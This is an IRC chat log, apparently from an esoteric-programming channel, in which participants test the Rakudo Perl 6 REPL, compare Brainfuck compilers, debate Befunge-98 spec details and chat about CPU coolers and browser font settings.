Perl6 isn't in the Ubuntu repos 18:07:40 not even Rakudo 18:07:53 ais523: err, rakudo IS the canonical perl6 18:07:58 well, yes 18:07:59 ais523: anyway, is Parrot? 18:08:03 Parrot is 18:08:13 but I mean, Perl6 isn't finished yet 18:08:16 but Rakudo exists today 18:08:16 get parrot, then http://rakudo.org/how-to-get-rakudo 18:08:19 err 18:08:20 ais523: 18:08:24 Perl6 is not an implementation 18:08:27 no, it isn't 18:08:30 Rakudo is the "perl.org" implementation of perl 6 18:08:36 ie the sort-of-canonical one 18:08:43 ais523: anyway, get parrot then http://rakudo.org/how-to-get-rakudo 18:08:45 there can't be an implementation of Perl6 yet, because it isn't finished; Rakudo presumably implements the work-in-progress spec 18:09:01 ah wait 18:09:03 ais523: don't get parrot 18:09:04 it does it for you 18:09:16 git clone git://github.com/rakudo/rakudo.git && cd rakudo && perl Configure.pl --gen-parrot && make 18:09:18 then use ./perl6 18:09:25 which is a repl 18:11:08 ais523: I would like to point out that Perl 6's other name is PEYHM. 18:11:32 no results for that either 18:11:48 ais523: I'm not being too serious: http://www.pugscode.org/images/pugs.small.png 18:11:57 It's more like Pugs' other name for PErl 6, though. 18:12:00 *Perl 18:12:24 aww, Perl6 no longer allows ' as a namespace separator 18:12:28 opBut = (x, y as Bool) {var tmp = new(x) : Bool;tmp.ifTrue = y.ifTrue;tmp.ifFalse = y.ifFalse;tmp.opAnd = y.opAnd;tmp.opOr = y.opOr;tmp opNot = y.opNot;} 18:12:29 admittedly, that's been deprecated for ages 18:12:32 plofbnf { plof_unopr => plof_but; plof_but = plof_but "but"w plof_but_next => plof {opBut($0, $1)}; plof_but = plof_but_next => plof { $0 };} 18:12:41 And yes, I am completely mad. 18:12:56 ais523: done that git/cd/perl/make dance to get rakudo? 18:12:58 it handles everything for you 18:13:02 ehird: yes, it's running atm 18:13:05 ah 18:13:08 I checked the commands and the website first, thuogh 18:13:10 *though 18:13:48 --gen-parrot is code for "launch nuclear weapons", obviously 18:14:05 no, that's clrscr() 18:14:35 :-) 18:15:27 "its performance is excellent (in terms of both compilation speed and - literally - execution speed)" 18:15:32 — ZOG C 18:16:08 * ehird looks at Rakudo building and decides to look away because it's probably awful and bloated and meta 18:16:10 I think we're referencing the same website 18:16:25 * pikhq is pleased at having implemented the but operator in Plof) 18:16:36 and the build's mostly full of cc and parrot invocations 18:16:45 pikhq: but it doesn't do all of what Perl6's but does 18:17:07 18:16 ais523: I think we're referencing the same website ← ofc 18:17:17 That takes more than two lines of silly stuff hashed out in an IRC buffer. 18:17:20 can you make it apply roles to classes? 18:17:41 that's probably its major use 18:17:45 "Linked: perl6" 18:17:47 No, that takes a more sophisticated opBut. 18:17:48 Leeeeeeeeet's gooooooooooo! 18:17:55 opButt 18:17:58 although I look forward to testing things like "4 but Callable 18:18:00 " 18:18:00 The syntax definition there is just fine, though. 18:18:02 > say 2+2 18:18:02 4 18:18:04 YAY 18:18:11 ais523: 18:18:12 > true but false 18:18:13 Could not find non-existent sub false 18:18:19 there is no "false" 18:18:23 ais523: try False 18:18:25 True but False 18:18:30 > True but False 18:18:31 The but operator can only be used with a role or enum value on the right hand side 18:18:33 > say (true but false) 18:18:34 Could not find non-existent sub false 18:18:36 > say (True but False) 18:18:37 The but operator can only be used with a role or enum value on the right hand side 18:18:39 > say (True but false) 18:18:40 yep 18:18:40 Null PMC access in isa() 18:18:42 ah 18:18:43 haha 18:18:49 > say (4 but Callable) 18:18:49 4 18:18:51 what now 18:18:54 (4 but Callable)()? 18:18:54 try calling it 18:18:55 or ->() 18:18:55 yes 18:18:59 just () 18:19:01 ais523: invoke() not implemented in class 'Integer' 18:19:04 that's reasonable 18:19:07 yes 18:19:11 this thing is slow 18:19:18 i can feel the delay from typing to error 18:19:19 :-) 18:19:44 rakudo feels rather buggy to me 18:19:51 compared to the spec, at least 18:20:06 nope 18:20:15 ais523: make test 18:20:17 make spectest 18:20:20 > say (*+1)(3) 18:20:22 4 18:20:32 will try the rakudo tests and the perl6 tests from pugs 18:21:36 All tests successful. 18:21:36 Files=29, Tests=236, 56 wallclock secs ( 0.16 usr 0.12 sys + 47.38 cusr 3.89 csys = 51.55 CPU) 18:21:37 Result: PASS 18:21:39 now for spectest 18:21:51 /Users/ehird/Downloads/rakudo/parrot/parrot perl6.pbc --target=pir --output=Test.pir Test.pm 18:21:53 Boy that's slow 18:22:41 "This is one of our favourites. The value of NULL on a DeathStation 9000 varies from one compile to the next. It might be all-bits-zero and it might not." 18:22:52 err 18:22:52 "So this code: memset(&weapon, 0, sizeof weapon); wasn't quite as robust as it might have been" 18:22:56 0 as a pointer is always NULL 18:23:00 that's correct code 18:23:03 THE DEATHSTATION IS WRONG! 18:23:05 no, it isn't 18:23:10 the second argument of memset isn't a pointer 18:23:13 ah 18:23:13 it's a char 18:23:19 0 as a char != 0 as a pointer, necessarily 18:23:25 ic ic ic 18:23:28 yep 18:24:17 ais523: all these spectests are succeeding atm 18:24:24 bsmntbombdood_: hi 18:24:34 ehird: I doubt they're in sync with the actual spec, though 18:24:45 ais523: they're reasonably in sync. 18:24:50 the spec doesn't change much 18:24:51 mostly it's hot air 18:26:39 heh, Perl6 doesn't just have unary plus, it also has unary concatenate 18:28:38 http://pastie.org/467828 esotope-bfc is, i think, getting much slower over the revisions... :S 18:28:49 who cares! 18:28:58 lifthrasiir: how does it do lostkng? 18:28:58 > say (:a).perl 18:28:58 :-D 18:28:59 "a" => "b" 18:29:01 > say (:a<>).perl 18:29:02 "a" => "b" 18:29:04 > say (:a«b»).perl 18:29:05 Statement not terminated properly at line 1, near "\x{c2}\x{ab}b\x{c2}\x{bb}).per" 18:29:07 fail 18:29:09 ais523: no 18:29:11 encoding fail 18:29:17 not its f ail 18:29:18 not encoding fail 18:29:22 are you sure 18:29:27 the error message strongly implies I passed correct UTF-8 to it 18:29:36 ehird: given link has a table of time taken to compile lostkng. 18:29:40 ooh, or does it? 18:29:40 ais523: tell it you're using utf-8, then 18:29:45 lifthrasiir: but what's the output 18:29:47 pastie it? :-D 18:29:47 maybe it's trying to interpret my utf8 as latin-1, for some reason 18:29:51 ah, well... 18:29:56 can pastie handle it? :p 18:30:05 lifthrasiir: perhaps! 18:30:07 eh, just like to esotope 18:30:08 (800k+, 40k+ lines) 18:30:09 and I'll do it 18:30:28 i'll try it. 18:30:35 $ perl6 --encoding=utf8 18:30:37 > say (:a«b»).perl 18:30:38 Statement not terminated properly at line 1, near "\x{c2}\x{ab}b\x{c2}\x{bb}).per" 18:30:39 link to esotope anyway lifthrasiir :-P 18:30:55 ais523: i highly doubt it doesn't support that syntax; it's something else 18:31:02 yes, most likely 18:31:05 ehird: http://hg.mearie.org/esotope/bfc/raw-file/tip/esotope-bfc.py 18:31:09 thx 18:31:46 $ LC_ALL=en_US.UTF-8 perl6 --encoding=utf8 18:31:48 > say (:a«b»).perl 18:31:49 Statement not terminated properly at line 1, near "\x{c2}\x{ab}b\x{c2}\x{bb}).per" 18:31:50 when it once became stable i'll release it to avoid pasting that link everyday. :p 18:31:59 noo 18:32:01 if Rakudo has some way to indicate an encoding, it isn't an obvious one 18:32:02 releases suck 18:32:28 lifthrasiir: ImportError: cannot import name namedtuple 18:32:29 WAT 18:32:36 do I need 2.6 18:32:36 ehird: "Running "make spectest" will import relevant portions of the official Perl 6 test suite from the Pugs repository (http://svn.pugscode.org/pugs/t/spec/) and run all of the tests that are currently known to pass." 18:32:39 ehird: it requires python 2.6... maybe? 18:32:46 ais523: ah, lol 18:32:46 wait 18:32:46 so it only tests the bit they've implemented against the spec 18:32:49 no wonder it was passing 18:32:59 shrug, rakudo is quite complete 18:33:04 you seem to think it's a lot worse than it i 18:33:04 s 18:33:11 ehird: sorry, namedtuple is not in use in current revision. remove "from collections import namedtuple" line from the code. 18:33:13 rakudo 18:33:14 what is that 18:33:18 *sigh* 18:33:24 AnMaster: Perl6 work-in-progress bytecode compiler 18:33:27 aha 18:33:39 how come you're the only person who gets the privilege to ask questions that you could easily find out, nobody else? 18:34:20 -!- iano has quit. 18:34:34 % python esotope-bfc.py LostKng.b > LostKng.b.c 18:34:38 lifthrasiir: this is taking >11s... 18:34:51 what's your sys 18:34:52 ehird: since it uses psyco if any. 18:34:55 ah. 18:35:04 it finished 18:35:21 > my Int $x = (fail "testing"); 18:35:22 > say $x+1; 18:35:24 Scope not found for PAST::Var '$x' in 18:35:25 I'm finding bugs everywhere 18:35:28 and yes, that is the entire error message 18:35:36 ais523: Are you sure you know the spec more than they do? 18:35:40 I bet your code is invalid 18:35:41 how come you're the only person who gets the privilege to ask questions that you could easily find out, nobody else <-- What are you talking about. 18:35:52 lifthrasiir: doesn't seem to do much more than bf2c.hs on lostkng 18:35:58 ehird: I have the spec open atm... 18:36:03 although, idea 18:36:05 where is bf2c.hs? 18:36:06 ais523: report the bugs then 18:36:15 lifthrasiir: http://esoteric.sange.fi/brainfuck/impl/compilers/bf2c.hs 18:36:17 it's possible that the REPL runs each line in a separate scope 18:36:21 ais523: DUH 18:36:23 it says that on the page 18:36:29 the get rakudo page 18:36:34 each line is a separate compilation unit 18:36:37 so subs persist, but not vars 18:36:44 lifthrasiir: until recently the best compiler 18:36:53 lifthrasiir: does move-shifting, variable elimination, polynomialization... 18:37:00 BF optimization is a field in itself... 18:37:28 > {my Int $x = (fail "testing"); say $x+1;} 18:37:29 > {say 4;} 18:37:31 4 18:37:38 presumably, attempting to output an unthrown exception doesn't throw it 18:37:41 I wonder what does? 18:37:47 throwing it? 18:38:14 well, yes, but they're meant to throw themselves whenever you try to do something with them that's obviously intended not to be done with an exception 18:38:59 lifthrasiir: does your compiler work on [>]? 18:39:14 not yet. 18:39:33 lifthrasiir: what, it fails on valid code? 18:39:35 i'm thinking about how to optimize such code. 18:39:38 ah 18:39:38 oh 18:39:42 i just mean does it work :-P 18:39:46 lifthrasiir: also, [>] is pretty easy 18:39:48 memchr 18:39:49 :p 18:40:11 of course it does work on every valid code, just not get optimized 18:40:14 lifthrasiir: [>] is mptr = memchr(mptr, 0, (size ofmemptr)) 18:40:24 and you're right, but how about [>>] or variants? 18:40:24 which is mptr-mem, I think 18:40:47 i think combined array analysis is needed for complete optimization. 18:40:48 hmm 18:40:49 dunno 18:40:56 and that sounds hard :-) 18:41:37 for example the memory cells 7+2*k is actually one array, and optimized to be stored as like etc. 18:42:05 lifthrasiir: [>] is mptr = memchr(mptr, 0, (size ofmemptr)) 18:42:11 yes, I said that yesterday iirc 18:42:16 it's obvious :P 18:42:27 true 18:42:35 lifthrasiir: yeah, that'd make it turn into "real" c 18:42:36 that's what you say now ;P 18:42:40 if you analyzed data structures 18:42:44 to get variables, arrays, etc out of it 18:42:48 what'#s the best compil;er nowtrhen 18:42:55 tombom: esotope-bfc 18:42:59 thanks 18:43:00 by lifthrasiir 18:43:05 ah ha 18:43:15 tombom: & compiling the generated c with clang/llvm 18:43:29 * GregorR consoles EgoBFC. 18:43:32 i'm not sure, but it does certain degree of optimization 18:43:40 lifthrasiir: you should optimize the 1,X,1,X,1,X,0 array format 18:43:41 somehow 18:43:43 GregorR, screen? 18:43:57 AnMaster: console(v) 18:44:11 Ah yes, computer science has entirely destroyed the previous meaning of the word console :P 18:44:23 oh.. that meaning.. right 18:44:56 (OK, I guess consoles in the noun sense predate computers by a bit) 18:45:55 ehird: btw, pastie says "Your paste cannot be larger than 100 kb. Sorry." so is this a new goal? :p 18:45:56 Where 'a bit' = a few centuries, yese 18:45:57 hah, IBM's offering companies $8000 for each Sparc processor they replace with a Power processor 18:45:59 GregorR, what is the name for those triangular things you put under shelves to mount them on the wall 18:46:07 in Swedish it is "konsoll" 18:46:08 lifthrasiir: :D 18:46:11 ais523: O_O 18:46:16 but I don't remember if it is console on English as well 18:46:20 i forgot people still use non-x86s in non-embedded environment 18:46:29 on servers, mostly 18:46:32 I'm not sure what you're referring to. 18:46:47 AnMaster: they're normally called shelf brackets in English 18:46:53 ais523, aha 18:46:55 It might be that Swedish furniture technology is advanced to the point that you have words for things we don't even have. 18:46:59 not that I often need to call them anything 18:47:32 ais523, nor do I. I don't think I have any shelves mounted that way in the house... 18:47:48 I do, but have never felt a need to name the things holding the shelf up 18:49:30 ais523, well, if you are going to buy some it might be useful to know 18:50:13 ah, first google result for "shelf brackets": http://www.wickes.co.uk/Shelf-Brackets/Metal-Brackets/icat/tsmetalbrack 18:50:16 GregorR: yeah ikea is like the LHC 18:50:19 for furniture 18:51:32 ais523, right. Was thinking of larger ones in wood though. Usually triangular. Sometimes ornamented(sp?) 18:51:39 well, yes 18:51:45 they're all shelf brackets either way, though 18:51:51 it seems wickes only make the metal ones 18:53:13 AnMaster: remember when I showed you a cooler which you thought was mad because it was big and heavy and would fall? 18:53:15 AnMaster: cpu cooler 18:53:22 AnMaster: here's the cooler I'm currently planning on using: http://www.silentpcreview.com/files/images/prolima-megahalems/12.jpg 18:53:26 ehird, vaguely 18:53:35 women and children, shield your eyes 18:53:35 * AnMaster looks 18:53:58 ehird, it looks like it would put quite a large load on the mobo 18:54:12 especially if the mobo is mounted vertically 18:54:14 " women and children, shield your eyes" // must just be a giant penis you attach to your CPU 18:54:19 GregorR: lawl 18:54:28 AnMaster: the attaching system is pretty solid 18:54:39 ehird, Sure. But is the PCB! 18:54:41 (That's what she said) 18:54:58 AnMaster: "A backplate is placed beneath the CPU socket and bolts with threads on both sides are secured to it." "Two aluminum side bars are placed over the bolts and nuts are used to tighten them. There are a second set of holes on these bars for use with the LGA1366 backplate." "The heatsink is then placed on top of the CPU and a crossbar is fitted above the mounting plate. Large spring-loaded bolts are then screwed into the side bars. This is the only 18:55:00 step that requires any tools — the rest is done by hand." 18:55:05 ... Ok ... I never understood what this "That's what she said" was about. 18:55:17 is it just random xkcd reference, or? 18:55:18 > my $foo = "Bar"; my $Bar=4; say $::("MY::$foo"); 18:55:20 say requires an argument at line 1, near " $::(\"MY::" 18:55:23 AnMaster: it's a sexual innuendo 18:55:26 I see. 18:55:27 ehird: I just copied that example from the spec 18:55:33 AnMaster: It's meant to suggest that something is sexual innuendo when it really isn't. 18:55:38 aha 18:55:45 AnMaster: "That's so small." "That's what SHE said [in bed, referring to your penis]." ← example 18:56:00 AnMaster: Since I said the cooler must look like a giant penis, I decided that " AnMaster: the attaching system is pretty solid" must be innuendo. 18:56:08 I wonder if anyone's ever tried that riposte to a woman? 18:56:11 ehird, backplate hm.. Hope it isn't a conductive one. 18:56:20 AnMaster: those megahalems are 820g with the crossbar, bolts and fan clips, apparently 18:56:26 790g for just the heatsink 18:56:35 so not that heavy 18:56:41 that's in terms of weight, presumably 18:57:07 err, duh? 18:57:22 ais523, isn't it upper case G for acceleration iirc 18:57:25 I thought so, I wasn't quite sure there wasn't a second meaning though 18:57:39 AnMaster: yes 18:57:42 right 18:57:52 790 G would be insane :D 18:58:02 depends on what for 18:58:11 it might be reasonable propulsion caused by a nuclear explosion 18:58:14 of a small object 18:58:17 hmm, apparently with one fan on the megahalems running at only 800 RPM, with full load of a top of the range core 2 quad (NOT i7), it runs at 62c 18:58:31 so probably 65-70c for an i7 at full load 18:58:33 ais523, anything involving a (former) human being 18:58:40 is megahalem a trade name, or does it have a technical meaning? 18:58:44 question is if you can drop the fan 18:59:01 AnMaster: "Megahalems" is the brand of those giant heatsinks for the Core i7s, which use the Nehalem architechture 18:59:05 what 18:59:13 Did you mean: ais523 18:59:18 AnMaster: what 18:59:22 er 18:59:22 yes. 18:59:24 AnMaster: Did you mean: Did you mean: ais523: 18:59:25 right 18:59:33 ais523, wut 18:59:39 you missed the colon 18:59:56 hmm wait 19:00:08 the megahalems are a lot less hot in silentpcreview's review 19:00:16 ais523, no. Shouldn't there be a dot at the end 19:00:28 30-40C 19:00:28 AnMaster: ehird said "AnMaster:" 19:00:37 which is what you were trying to correct in the first place 19:00:38 ais523, I perform word splitting on : 19:00:39 so I'm assuming that dropping the fan would be easy 19:00:49 AnMaster: I give context in corrections 19:00:56 you'd get 30-40C or so on average and higher on load 19:00:58 which sounds fine 19:01:06 just like diff -u >> diff for patching programs 19:01:26 ais523, ok. I should have done / Did/s/: /: $/ 19:01:27 then 19:01:30 agreed 19:01:31 err 19:01:38 s/\$/^/ 19:01:39 even 19:01:55 wait, what? 19:01:58 .. 19:02:01 replace end-of-string with start-of-string? 19:02:05 does that even make sense? 19:02:07 ais523, in the regex 19:02:18 ais523, I escaped $ 19:02:21 thus replacing 19:02:25 ais523, ok. I should have done / Did/s/: /: $/ 19:02:26 with 19:02:27 ugh, I can't believe I'm actually considering applying my own gigantic heatsink 19:02:28 I must be barmy 19:02:28 ais523, ok. I should have done / Did/s/: /: ^/ 19:02:31 then 19:02:32 that replaces 19:02:36 Did you mean: ais523 19:02:37 with 19:02:40 I don't get why you want a ^ in the replacement anyway 19:02:40 Did you mean: ^ais523 19:02:49 thus giving the context 19:02:50 :P 19:02:50 yes, but surely ehird didn't mean "^ais523" 19:03:04 ais523, It is the context. 19:03:06 oh, you're trying to anchor the context to the start of the line/ 19:03:11 yes... 19:03:12 lines start with : not ^ on IRC 19:03:12 "In keeping with the spirit of the [H] we are once again doing hardware heat measurment. This means drilling a very small path into an expensive CPU to place our thermocouple in. This is by far the best way to test coolers and the only way here at the [H]." Holy shit, they're insane 19:03:19 http://enthusiast.hardocp.com/image.html?image=MTIzMjU1MjM1MlEyZ1NFQzg5ckJfMV81X2wuanBn 19:03:21 so s/^/:/ in your most recent metacorrection 19:03:22 I shit you not 19:03:26 They cut open a cpu and put a wire into it 19:03:34 ais523, not the way the client displays it 19:03:34 and 19:03:43 Did you mean: :ais523 19:03:45 AnMaster: for client display, you want > 19:03:47 would have looked silly 19:03:57 unless your client displays IRC messages as regexps? 19:04:03 -_- 19:04:16 ^Hello, .*!$ 19:04:31 * AnMaster actually lols at this convo. 19:05:46 well, I was deliberately trying to make it absurd 19:05:56 you succeeded. 19:05:59 well done. 19:09:39 "The fan completely blocks any RAM from being installed in the first slot and even the second slot blocks the retention clip from properly holding the fan. " 19:09:40 Ouch. 19:09:46 Hope my mobo's big enough to avoid THAT. 19:12:25 -!- BeholdMyGlory has joined. 19:14:15 -!- AnMaster_ has joined. 19:16:14 lifthrasiir: test with mandelbrot.b 19:16:16 not lostkng 19:16:20 lostkng is big but not intensive 19:16:38 is that http://www.menuetos.net/mandel.txt ? 19:16:54 lifthrasiir: http://swapped.cc/bf/ 19:17:00 http://swapped.cc/bf/files/mandelbrot.b 19:17:14 indeed same. thank you for suggestion. 19:17:21 also, ew, menuetos :-P 19:24:01 -!- AnMaster has quit (Connection timed out). 19:26:52 -!- AnMaster_ has changed nick to AnMaster. 19:27:17 power outage 19:27:18 :( 19:27:19 > eval "my $x = 3;"; 19:27:20 Scope not found for PAST::Var '$x' in 19:27:20 so 19:27:23 what did I miss 19:27:31 and 19:27:36 what were we talking about 19:27:43 I completely forgot 19:28:26 AnMaster: I forwarded you an e-mail earlier today, FWIW. 19:28:34 Deewiant, let me check.. 19:30:02 " Your interpretation would be considered undefined at best. The specs say that the child should execute before the parent next executes but does not specify immediately before, only that it must execute an instruction before the parent executes its next instruction. In fact it does not even state whether the child ip needs to execute in the same tick as the t command that created it, or execute it 19:30:02 for the first time in the next tick. Both CCBI and Rc/Funge-98 execute it the next tick, but again, which tick it executes in is undefined and only really has importance when using TRDS. " 19:30:03 hm 19:30:31 specify it in 108! 19:30:34 if we are going to go undef like that almost half of the GOOD in mycology will turn into UNDEF 19:30:49 No, not really :-P 19:31:14 I'm pretty certain that process creation taking more than one tick would be a DS9K implementation of Befunge-98 19:31:35 That's not what that's about 19:31:44 oh, what is it about then? 19:32:08 AnMaster: who wrote that? 19:32:17 almost cetainly mike riley 19:32:22 ehird, do you agree with it or not 19:32:23 although there isn't any direct evidence for that 19:32:24 ;P 19:32:25 AnMaster: yes 19:32:25 just an implication from contetx 19:32:28 *context 19:32:33 he writes better not on IRC then 19:32:40 ehird, Riley 19:32:40 Well, the original message was that if you have, say IPs [ 1 2 3 ], then if 2 forks to create 4 you should get [ 1 2 4 3 ] and not [ 1 2 3 4 ] 19:32:47 maybe his irc client inserts the ,,,, ... and ehhehehehehs 19:33:04 Deewiant: yep, that's right 19:33:11 ehird: No, it's undef 19:33:18 yes but it's the right option :-) 19:33:20 * AnMaster tries to figure out DS9K interpretations for the fingerprint acryonyms 19:33:47 FPSP: Fire-Powered Shattering Pulser 19:33:54 think EMP 19:33:58 And Mike's "it does not even state" is about whether, when the child IP is created, it executes for the first time in that same tick or the next one 19:34:01 but with more fire and explosion 19:34:32 NCRS: NuClear Range Select 19:34:33 :) 19:34:52 MVRS: Multiverse tools, including D: destroys the current universe. 19:35:26 darn 19:35:27 mvrs has no D 19:35:55 REXP: Rectal Excavation eXtra Powertools 19:36:04 Used in hospitals to control a rectal excavation machine. 19:36:28 "SOCK": Securely Operated Checkless K-Bolts 19:36:38 what is K-bolt 19:36:38 SUBR: Submarine control system. 19:36:54 AnMaster: a weapon of some sort; it sounds like a long, thin bolt that's highly explosive or somethin 19:36:54 g 19:37:02 AnMaster: I think they're explosive bolts used to hold parts of rockets together 19:37:03 it doesn't actually exist, but that's what it sounds like 19:37:06 ais523: what, really? 19:37:08 ais523, ah 19:37:10 i just invented them! 19:37:10 which are blown up to separate the stages 19:37:16 ehird: they may be called something else 19:37:19 well explosive bolts exist 19:37:20 I'm not sure 19:37:23 http://www.google.com/search?client=safari&rls=en-us&q=K-bolt&ie=UTF-8&oe=UTF-8 19:37:23 well,* 19:37:26 yeah, I just invented them ;-) 19:37:37 TRDS: controls the *real* TARDIS. 19:37:54 ehird: wow, that was really weird 19:37:55 UNIX: Castration utilities. 19:37:59 I followed your link, and only got one advert 19:38:02 ais523: huh 19:38:04 then I removed the client=safari, and got lots 19:38:08 ha 19:38:13 ehird, err. That isn't a backronym 19:38:14 yep 19:38:19 if i s/safari/firefox/ i get more 19:38:24 i get 2 with safari 19:38:26 AnMaster: I konw 19:38:26 with client=epiphany, I get 2 19:38:28 know 19:38:31 ehird, FAIL 19:38:34 AnMaster: No... 19:38:38 AnMaster: How is that fail? 19:38:39 ais523, client=lynx 19:38:40 and client=lynx gives 6 19:38:40 try it 19:38:43 ah 19:38:45 I know trds means tardis. 19:38:45 I tried it before you suggested that 19:38:52 ais523, mosaic 19:39:00 ie? 19:39:02 and what ads... 19:39:04 AnMaster: 4 19:39:04 ;P 19:39:13 ie6 shows five 19:39:20 google customize! 19:39:24 ie8 shows seven 19:39:26 (extension for firefox) 19:39:35 and ie7 shows none at all 19:39:44 wait, or 1 on the refresh 19:39:49 I suspect it's just giving random numbers of ads 19:40:03 nope, ie7 never gives more than one ad 19:40:28 and ie8 is not giving more than one now either, even after about 8 refreshes 19:40:32 wtf is Google up to? 19:41:07 ais523, random I suspect 19:41:08 -!- oerjan has joined. 19:41:28 ais523 or is it statistical significant? 19:43:49 it probably depends on other things like the IP 19:44:02 I mean, Google have a user-agent, why would they care about the useragent specified in the address bar? 19:44:04 that makes no sense 19:44:37 -!- tombom_ has joined. 19:44:40 why is the user-agent even in the address bar 19:44:45 that doesn't make sense 19:47:14 AnMaster: done with JS I think 19:47:17 to avoid server side load 19:47:58 ehird, err. How does it have to parse less that way 19:48:10 AnMaster: it doesn't 19:48:14 AnMaster: but they're already parsing the query string 19:48:20 ah true 19:48:21 they're probably just throwing away the user-agent header 19:48:25 and besides, it's easier to read 19:48:26 ie6 19:48:27 than 19:48:34 Internet Explorer Mozilla AWESOMEFEST (aaa;;:43847 NETSCAPE) 19:48:37 Mozilla (compatible) 19:48:39 isn't it 19:48:45 AnMaster: that's part of it 19:48:47 yeah 19:48:52 it is fully 19:48:54 funny* 19:49:03 yes I know why and so on 19:49:07 -!- tombom has quit (Read error: 60 (Operation timed out)). 19:49:08 -!- tombom_ has changed nick to tombom. 19:49:16 but it is still funny. 19:50:02 AnMaster: i've seen worse; a particular idiot thought that including the highest Acid standards test they pass would be best... even though the acid tests are 100% edge cases, and are DELIBERATELY INVALID to test browsers' handling of invalid pages 19:50:10 as in, just having the UA be "Acid 2" or "Acid 3" 19:50:27 the acid tests aren't even official w3c! 19:50:40 ehird, err acid 1 doesn't have any invalid bits iirc 19:50:46 acid 2 and 3 does yes 19:51:01 AnMaster: barely anything doesn't pass acid 2 these days 19:51:04 but my point stands 19:51:12 yes it would be silly 19:51:13 I agree 19:51:22 My Firefox (3.5b4) doesn't pass Acid2 19:51:32 Deewiant, uh... 19:51:33 I haven't tried in safe mode, though, so it could be an extension 19:51:36 3.0.x does 19:51:47 I guess it might be a beta bug 19:51:52 yar, regressions 19:51:56 acid tests don't matter anywhere 19:51:59 Deewiant: Acid2, or Acid3? 19:52:01 or an extension 19:52:02 a load of talk and nothing useful or worthwhile 19:52:05 The nose is a pixel or so too big and the chin is one block too tall 19:52:08 ais523: 2 19:52:19 Even the latest alphas don't pass Acid3. 19:53:08 With extensions on, my browser doesn't pass Acid1. 19:53:23 Deewiant, you have odd extensions then 19:53:44 I refuse to allow pages to set the font size of monospaced fonts. 19:54:02 Deewiant, err why 19:54:19 Because they are invariably either way too small or way too big, because they assume a different font than I specify. 19:55:44 -!- FireFly has quit ("Later"). 19:57:18 what font's that 19:57:29 DejaVu, of course. 19:57:57 ew 19:59:27 -!- FireFly has joined. 20:00:02 I refuse to allow pages to set the font. 20:00:22 You've got a choice between sans serif, serif, and monospace. 20:00:28 Use it wisely. 20:00:41 pikhq, image-text ;P 20:00:49 * AnMaster runs 20:00:58 AnMaster: Someone using that gets shot. 20:01:07 agreed 20:01:20 20:00 pikhq: I refuse to allow pages to set the font. ← My designer sense is tingling, and it wants to throttle you. 20:01:35 Please assume a relaxed position so that it may commence. 20:02:05 I used to have that on but it broke too many pages 20:02:14 IMO, designers should design pages so that with any reasonable sane settings for the user, it'll display as the user wants 20:02:59 IMO designers shouldn't touch the 'font-foo' CSS settings at all. 20:02:59 too small is a big issue yeah 20:02:59 OTOH, a font with different metrics fucks up the whole vertical/horizontal rhythm entirly. 20:03:01 *entirely 20:03:10 I have minimal sizes set 20:03:21 Which is not a problem unless you actually, y'know, design. 20:03:24 to reduce that issue somewhat 20:03:29 HTML is not PDF/PS. 20:03:29 When it all breaks down. 20:03:35 Deewiant: Agreed wholeheartedly. 20:03:44 Irrelevant in this case, however. 20:03:45 ehird, you can't assume the user will have any of the fonts 20:03:52 AnMaster: That's why you specify fallbacks. 20:04:03 you can only assume there is some sans-serif, some serif, some monospace 20:04:16 no, you can't 20:04:18 you can't assume anything 20:04:26 ehird: I've done this because far, *far* too many 'designers' misuse it. 20:04:41 ehird, well true. But lynx doesn't support CSS anyway :P 20:04:44 pikhq: They ruin it for everyone else :P 20:04:48 so all you can assume is "a font" 20:04:55 AnMaster: braille 20:04:59 AnMaster: elinks supports CSS. ;) 20:05:02 ehird, true. 20:05:13 pikhq, irrelevant for lynx 20:05:52 ehird: What I'd like is a way to refuse allowing sites to set the font, with a whitelist for sites that aren't really retarded with font selection. 20:06:25 pikhq, make an extension.. called nofont 20:07:15 Temtping. 20:07:21 Very damned tempting. 20:07:26 Temtping? 20:07:30 funny typo 20:07:41 Opposite hands. ;) 20:08:01 still funny 20:08:47 I'd rather have yesfont 20:09:15 Since you'd have to whitelist the site anyway to check whether it's retarded or not :-P 20:09:58 -!- olsner has joined. 20:11:53 Tempt-ping; it sends seductive ICMP messages. 20:12:52 hah 20:13:16 Deewiant, why not have a setting for "default allow/disallow" 20:13:19 and call it... 20:13:28 boolfont 20:17:27 Because that complicates things 20:17:33 You have to keep track of both a blacklist and a whitelist 20:17:42 Deewiant, yes that allows exceptions to0o 20:17:44 Unless you just want to wipe it or invert its meaning whenever the setting is changed :-P 20:17:44 too* 20:21:52 -!- Hiato has quit ("Leaving."). 20:23:42 -!- kar8nga has joined. 20:26:58 Deewiant, just add the complement to the list when the option is changed ;P 20:27:24 Suure :-P 20:40:01 !underload (S):(u)(:*)(:*)::**^^(re :-P)**~^ 20:40:01 Suuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuure :-P 20:40:20 heh, a link someone pasted on Slashdot to try to explain the Daily Mail to Americans: http://www.google.co.uk/search?q=site%3Adailymail.co.uk+%22ministers+are+considering%22 20:40:49 oerjan: I'm sure that program could be simplified 20:41:00 actually, that must have been deliberately obfuscated 20:41:05 or you would have used more than one S 20:41:22 :) 20:41:47 once i realized (S)S could be rewritten, the rest was irresistible 20:41:55 fair enough 20:42:35 oh of course (:*)(:*) = (:*): 20:42:42 yes 20:42:47 and :::** will boggle people somewhat 20:44:03 !underload (S):(u)(:*):::**^^(re...)**~^ 20:44:04 Suuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuure... 20:44:17 Spiffy. 20:44:42 hm in fact that's a nice compression of 256 20:44:51 (:*):::** 20:44:53 agreed 20:44:57 no, wait 20:45:04 needs one ^ 20:45:04 (:*):::**^ is the compression 20:45:14 the second ^ is using the 